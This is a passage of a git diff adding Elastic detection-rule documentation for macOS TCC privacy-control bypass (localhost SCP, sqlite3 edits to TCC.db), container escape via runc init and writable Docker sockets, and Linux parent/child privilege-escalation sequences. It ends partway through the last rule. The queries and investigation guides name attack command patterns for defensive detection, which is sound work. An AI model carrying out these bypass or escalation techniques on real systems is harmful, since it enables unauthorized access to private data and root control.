Secure Copy + +Identifies use of the Secure Copy Protocol (SCP) to copy files locally by abusing the auto addition of the Secure Shell Daemon (sshd) to the authorized application list for Full Disk Access. This may indicate attempts to bypass macOS privacy controls to access sensitive files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware--infects-xcode-projects--uses-0-days.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privacy Control Bypass via Localhost Secure Copy* + + +Secure Copy Protocol (SCP) is used for secure file transfers over SSH. On macOS, SSH daemon inclusion in the Full Disk Access list can be exploited to bypass privacy controls. Adversaries may misuse SCP to locally copy files, evading security measures. The detection rule identifies such activity by monitoring SCP commands targeting localhost, excluding benign uses like Vagrant, to flag potential privacy control bypass attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of SCP commands targeting localhost or 127.0.0.1, as indicated by the process.command_line field. +- Check the process.args field for the presence of "StrictHostKeyChecking=no" to verify if the SCP command was executed with potentially insecure settings. +- Investigate the user account associated with the SCP command to determine if it is a legitimate user or potentially compromised. +- Examine the timing and frequency of the SCP command execution to identify any unusual patterns or repeated attempts that may indicate malicious activity. +- Cross-reference the alert with other security logs or alerts to identify any related suspicious activities or anomalies around the same timeframe. +- Assess the system for any unauthorized changes or access to sensitive files that may have occurred as a result of the SCP command execution. + + +*False positive analysis* + + +- Vagrant usage can trigger false positives due to its legitimate use of SCP for local file transfers. To mitigate this, ensure that Vagrant-related SCP commands are excluded by refining the detection rule to ignore processes with arguments containing "vagrant@*127.0.0.1*". +- Development and testing environments may frequently use SCP to localhost for legitimate purposes. Consider creating exceptions for known development tools or scripts that regularly perform these actions to reduce noise. +- Automated backup solutions might use SCP to copy files locally as part of their routine operations. Identify and whitelist these processes to prevent them from being flagged as potential threats. +- System administrators may use SCP for local file management tasks. Establish a list of trusted administrator accounts or specific command patterns that can be safely excluded from triggering alerts. +- Continuous integration and deployment pipelines might involve SCP commands to localhost. Review and exclude these processes if they are part of a controlled and secure workflow. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SCP processes identified in the alert to halt ongoing unauthorized file transfers. +- Conduct a thorough review of the system's Full Disk Access list to identify and remove any unauthorized applications, including the SSH daemon if it was added without proper authorization. +- Analyze the system's SSH configuration and logs to identify any unauthorized changes or access patterns, and revert any suspicious modifications. +- Reset credentials for any accounts that may have been compromised, focusing on those with SSH access, and enforce the use of strong, unique passwords. +- Implement network monitoring to detect and alert on any future SCP commands targeting localhost, especially those bypassing host key checks. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on sensitive data, ensuring compliance with organizational incident response protocols. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "scp" and + process.args like~ "StrictHostKeyChecking=no" and + process.command_line like~ ("*scp *localhost:/*", "*scp *127.0.0.?:/*") and + not process.command_line like~ "*vagrant@*127.0.0.1*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-tccdb-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-tccdb-modification.asciidoc new file mode 100644 index 0000000000..8ebc3e4ac7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-tccdb-modification.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-privacy-control-bypass-via-tccdb-modification]] +=== Potential Privacy Control Bypass via TCCDB Modification + +Identifies the use of sqlite3 to directly modify the Transparency, Consent, and Control (TCC) SQLite database. This may indicate an attempt to bypass macOS privacy controls, including access to sensitive resources like the system camera, microphone, address book, and calendar. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/ +* https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh +* https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 116 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privacy Control Bypass via TCCDB Modification* + + +The Transparency, Consent, and Control (TCC) database in macOS manages app permissions for accessing sensitive resources. Adversaries may exploit this by using tools like sqlite3 to alter the TCC database, bypassing privacy controls. The detection rule identifies such attempts by monitoring for suspicious sqlite3 activity targeting the TCC database, excluding legitimate processes, to flag potential privacy control bypasses. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of sqlite3, focusing on the process name and arguments to ensure they match the pattern "sqlite*" and include the path "/*/Application Support/com.apple.TCC/TCC.db". +- Investigate the parent process of the sqlite3 activity to determine if it is a known legitimate process or if it appears suspicious, especially if it is not from "/Library/Bitdefender/AVP/product/bin/*". +- Check the timestamp of the sqlite3 activity to correlate it with any other unusual system behavior or alerts that occurred around the same time. +- Examine the user account associated with the process to determine if it has a history of legitimate administrative actions or if it might be compromised. +- Look for any recent changes or anomalies in the TCC database permissions that could indicate unauthorized modifications. +- Assess the system for other signs of compromise, such as unexpected network connections or additional unauthorized processes running, to determine if the sqlite3 activity is part of a larger attack. + + +*False positive analysis* + + +- Security software like Bitdefender may legitimately access the TCC database for scanning purposes. To prevent these from being flagged, ensure that the process parent executable path for such software is added to the exclusion list. +- System maintenance tools that perform regular checks or backups might access the TCC database. Identify these tools and add their process paths to the exclusion list to avoid false alerts. +- Developer tools used for testing applications may interact with the TCC database. If these tools are frequently used in your environment, consider excluding their process paths to reduce noise. +- Administrative scripts that automate system configurations might modify the TCC database. Review these scripts and, if deemed safe, exclude their process paths from the detection rule. +- Regular system updates or patches could trigger access to the TCC database. Monitor these events and, if consistent with update schedules, adjust the rule to exclude these specific update processes. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious sqlite3 processes identified in the alert to stop ongoing unauthorized modifications to the TCC database. +- Restore the TCC database from a known good backup to ensure that all privacy settings are reverted to their legitimate state. +- Conduct a thorough review of recent changes to the TCC database to identify any unauthorized access or modifications to sensitive resources. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring on the affected system to detect any further attempts to modify the TCC database or other unauthorized activities. +- Review and update access controls and permissions for the TCC database to ensure only authorized processes can make changes, reducing the risk of future bypass attempts. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name like~ "sqlite*" and + process.args like "/*/Application Support/com.apple.TCC/TCC.db" and + (process.parent.name like~ ("osascript", "bash", "sh", "zsh", "Terminal", "Python*") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-in-container-via-runc-init.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-in-container-via-runc-init.asciidoc new file mode 100644 index 0000000000..8f9cc58e3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-in-container-via-runc-init.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-in-container-via-runc-init]] +=== Potential Privilege Escalation in Container via Runc Init + +Identifies audit events for runc init child processes where the effective user is root and the login user ID is not root. This pattern can indicate privilege escalation or credential separation abuse inside container runtimes, where a process executes with elevated effective privileges while retaining a non-root audit identity. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1611/ +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Auditd Manager +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Privilege Escalation in Container via Runc Init* + + +runc is the low-level container runtime used by Docker, containerd, and others. The runc init process initializes the +container environment. A mismatch between effective root (user.effective.id 0) and a non-root user.id in audit +telemetry can reflect namespace or capability transitions worth validating in your environment. + + +*Possible investigation steps* + + +- Confirm the host is running containers and identify which workload invoked runc (orchestrator, image, namespace). +- Review full audit fields for the event: process, process.parent, user.*, and any container or cgroup metadata + available in your auditd_manager pipeline. +- Correlate with other alerts on the same host (namespace changes, mounts, unshare, nsenter, suspicious image pulls). +- Validate whether the pattern matches expected behavior for your container stack (e.g. specific init or security + profiles) before treating as malicious. + + +*False positive analysis* + + +- Some legitimate container or CRI configurations may produce effective UID 0 with a non-root login UID in audit records. + Tune with host, image, or process ancestry exclusions after baseline review. + + +*Response and remediation* + + +- If abuse is confirmed: isolate the node or workload, rotate credentials exposed to that container, and rebuild from a + trusted image after forensic capture. + + +==== Setup + + + +*Setup* + + +This rule requires Linux audit events from the **Auditd Manager** integration. + + +*Auditd Manager integration* + + +Auditd Manager simplifies configuring and monitoring the Linux audit subsystem via Fleet. Administrators define audit +rules, collect events, and forward them to Elasticsearch. + + +*Steps to deploy Auditd Manager* + + +- In Kibana, go to **Integrations** and search for **Auditd Manager**. +- Add the integration to an Elastic Agent policy that covers your Linux hosts. +- Configure audit rules appropriate for your environment so execve and identity-related fields are captured where + needed for this detection. + +For more details, see the https://docs.elastic.co/integrations/auditd_manager[Auditd Manager integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.action:(executed or exec) and +process.title:"runc init" and user.effective.id:0 and user.id:(* and not 0) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-through-writable-docker-socket.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-through-writable-docker-socket.asciidoc new file mode 100644 index 0000000000..0c8978c617 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-through-writable-docker-socket.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-through-writable-docker-socket]] +=== Potential Privilege Escalation through Writable Docker Socket + +This rule monitors for the usage of Docker runtime sockets to escalate privileges on Linux systems. Docker sockets by default are only be writable by the root user and docker group. Attackers that have permissions to write to these sockets may be able to create and run a container that allows them to escalate privileges and gain further access onto the host file system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#automatic-enumeration-and-escape + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Domain: Containers +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation through Writable Docker Socket* + + +Docker sockets facilitate communication between the Docker client and daemon, typically restricted to root or specific groups. Adversaries with write access can exploit these sockets to execute containers with elevated privileges, potentially accessing the host system. The detection rule identifies suspicious activities by monitoring processes like Docker and Socat for unauthorized socket interactions, focusing on non-root users attempting to execute commands, thus flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific process name (either "docker" or "socat") and the associated arguments that triggered the alert, focusing on the use of "unix://*/docker.sock" or "unix://*/dockershim.sock". +- Check the user and group IDs associated with the process to confirm they are non-root, as indicated by the exclusion of user.Ext.real.id and group.Ext.real.id being "0". +- Investigate the user account involved in the alert to determine if they should have access to Docker sockets and whether their permissions have been misconfigured or compromised. +- Examine the system logs and Docker daemon logs for any additional context or anomalies around the time of the alert to identify any unauthorized or suspicious activities. +- Assess the current state of the system for any unauthorized containers that may have been started, and inspect their configurations and running processes for signs of privilege escalation attempts. +- Verify the integrity and permissions of the Docker socket files to ensure they have not been altered to allow unauthorized access. + + +*False positive analysis* + + +- Legitimate administrative tasks by non-root users with elevated permissions can trigger the rule. To manage this, identify trusted users or groups who regularly perform such tasks and create exceptions for their activities. +- Automated scripts or services that require Docker socket access for legitimate operations may be flagged. Review these scripts or services and whitelist their specific process names or arguments to prevent false positives. +- Development environments where developers frequently use Docker for testing might cause alerts. Consider creating a separate monitoring policy for development environments or exclude known development user accounts from this rule. +- Continuous integration/continuous deployment (CI/CD) pipelines that interact with Docker sockets can be mistakenly identified as threats. Ensure that these pipelines are running under specific service accounts and exclude these accounts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement. +- Terminate any unauthorized Docker containers that were started by non-root users, especially those interacting with Docker sockets. +- Review and revoke any unnecessary write permissions to Docker sockets for non-root users and groups, ensuring only trusted users have access. +- Conduct a thorough audit of user accounts and group memberships on the affected system to identify and remove any unauthorized or suspicious accounts. +- Restore the system from a known good backup if unauthorized changes or access to sensitive data are detected. +- Implement monitoring and alerting for any future unauthorized access attempts to Docker sockets, focusing on non-root user activities. +- Escalate the incident to the security operations team for further investigation and to assess potential impacts on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +( + (process.name == "docker" and process.args : "run" and process.args : "-it" and + process.args : ("unix://*/docker.sock", "unix://*/dockershim.sock")) or + (process.name == "socat" and process.args : ("UNIX-CONNECT:*/docker.sock", "UNIX-CONNECT:*/dockershim.sock")) +) and not user.Ext.real.id : "0" and not group.Ext.real.id : "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-child-process-sequence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-child-process-sequence.asciidoc new file mode 100644 index 0000000000..d411cabe17 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-child-process-sequence.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-child-process-sequence]] +=== Potential Privilege Escalation via a Parent/Child Process Sequence + +Detects a potential privilege escalation sequence via a parent/child process relationship. This rule checks for non-root execution of a parent process executable in a user or world-writable directory by a non-root user followed by a UID change event to 0 (root) by the child process. This sequence is indicative of a potential local privilege escalation exploit. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via a Parent/Child Process Sequence* + + +This rule catches a Linux process chain where a non-root user launches code from a user- or world-writable location and the child process quickly switches to running as root, a strong sign of local privilege escalation. An attacker might drop or compile an exploit in /tmp, execute it from an unprivileged account, and use the spawned child process to obtain a root shell without going through normal administrative tools. + + +*Possible investigation steps* + + +- Retrieve the executable and nearby artifacts from the writable location, then review ownership, permissions, timestamps, hashes, package provenance, and whether the file was recently dropped or compiled on the host. +- Reconstruct the surrounding process ancestry and user activity, including the originating shell, SSH or console session, working directory, and available history, to decide whether the sequence matches expected administration or interactive exploitation. +- Examine the root-context child’s immediate follow-on actions for signs of successful escalation, such as spawning an interactive shell, altering sudoers or setuid permissions, creating persistence, accessing credential stores, or initiating unexpected network connections. +- Correlate the event with evidence of local exploit staging on the host, including use of gcc or make, extracted proof-of-concept files, suspicious downloads, kernel or library versions associated with public LPEs, and related audit, dmesg, or crash messages. +- If the activity cannot be explained, collect volatile evidence and isolate the system while hunting across the environment for the same file hash, command pattern, writable-directory execution, or account activity on other Linux hosts. + + +*False positive analysis* + + +- An administrator or developer may intentionally run a locally built or staged privileged helper from `/tmp`, `/var/tmp`, `/run/user`, or a home directory during testing or maintenance, so verify the file is expected by checking ownership, setuid permissions, recent build or modification times, and whether the user had an approved task on the host. +- A legitimate installation, upgrade, or login-time setup task can unpack a temporary helper into a writable directory and then re-exec into a root context, so confirm benign activity by correlating the event with authorized change windows and local package or maintenance logs and ensuring the executable path and hash match the expected artifact. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving EDR or console access, terminate the malicious parent and root child processes, and disable the user account, SSH session, or source IP used to launch the executable from the writable directory. +- Remove attacker footholds by deleting the dropped exploit and related files from `/tmp`, `/dev/shm`, `/var/tmp`, `/run/user`, or the user’s home directory, then revert unauthorized changes such as added `authorized_keys`, new sudoers entries, cron jobs, systemd services, modified shell startup files, and unexpected setuid or setgid permissions. +- If the root-level process altered system binaries, shared libraries, PAM files, kernel modules, or package-managed content, treat the host as fully compromised and restore it from a known-good image or backup instead of relying on in-place cleanup. +- Rotate credentials exposed on the host, including local passwords, SSH keys, API tokens, and service account secrets, because a successful root escalation can give the attacker access to authentication material and session data. +- Escalate immediately to incident response if the activity produced an interactive root shell, used a known local privilege escalation exploit, appeared on more than one Linux host, or was followed by lateral movement, credential collection, or data staging behavior. +- Harden the environment by patching the vulnerable kernel and userland packages, enforcing `noexec`, `nosuid`, and `nodev` on temporary writable mounts where practical, limiting who can compile or run untrusted code locally, and adding detections for execution from writable directories and unexpected new setuid files. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=15s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + user.id != "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + ( + process.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/user/*", "/var/run/user/*", "/home/*/*") or + process.parent.executable like (".*", "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/home/*/*", "/run/user/*", "/var/run/user/*") + )] by process.entity_id + [process where host.os.type == "linux" and event.type == "change" and event.action == "uid_change" and + user.id == "0" and process.parent.user.id != "0" and process.parent.group.id != "0" and + not process.executable in ("/usr/bin/sudo", "/bin/sudo")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-process-sequence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-process-sequence.asciidoc new file mode 100644 index 0000000000..8c8fd6986c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-process-sequence.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-34-potential-privilege-escalation-via-a-parent-process-sequence]] +=== Potential Privilege Escalation via a Parent Process Sequence + +Detects a potential privilege escalation sequence via a parent process relationship. This rule checks for non-root execution of a process executable in a user or world-writable directory followed by a UID change event to 0 (root). This sequence is indicative of a potential local privilege escalation exploit. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High 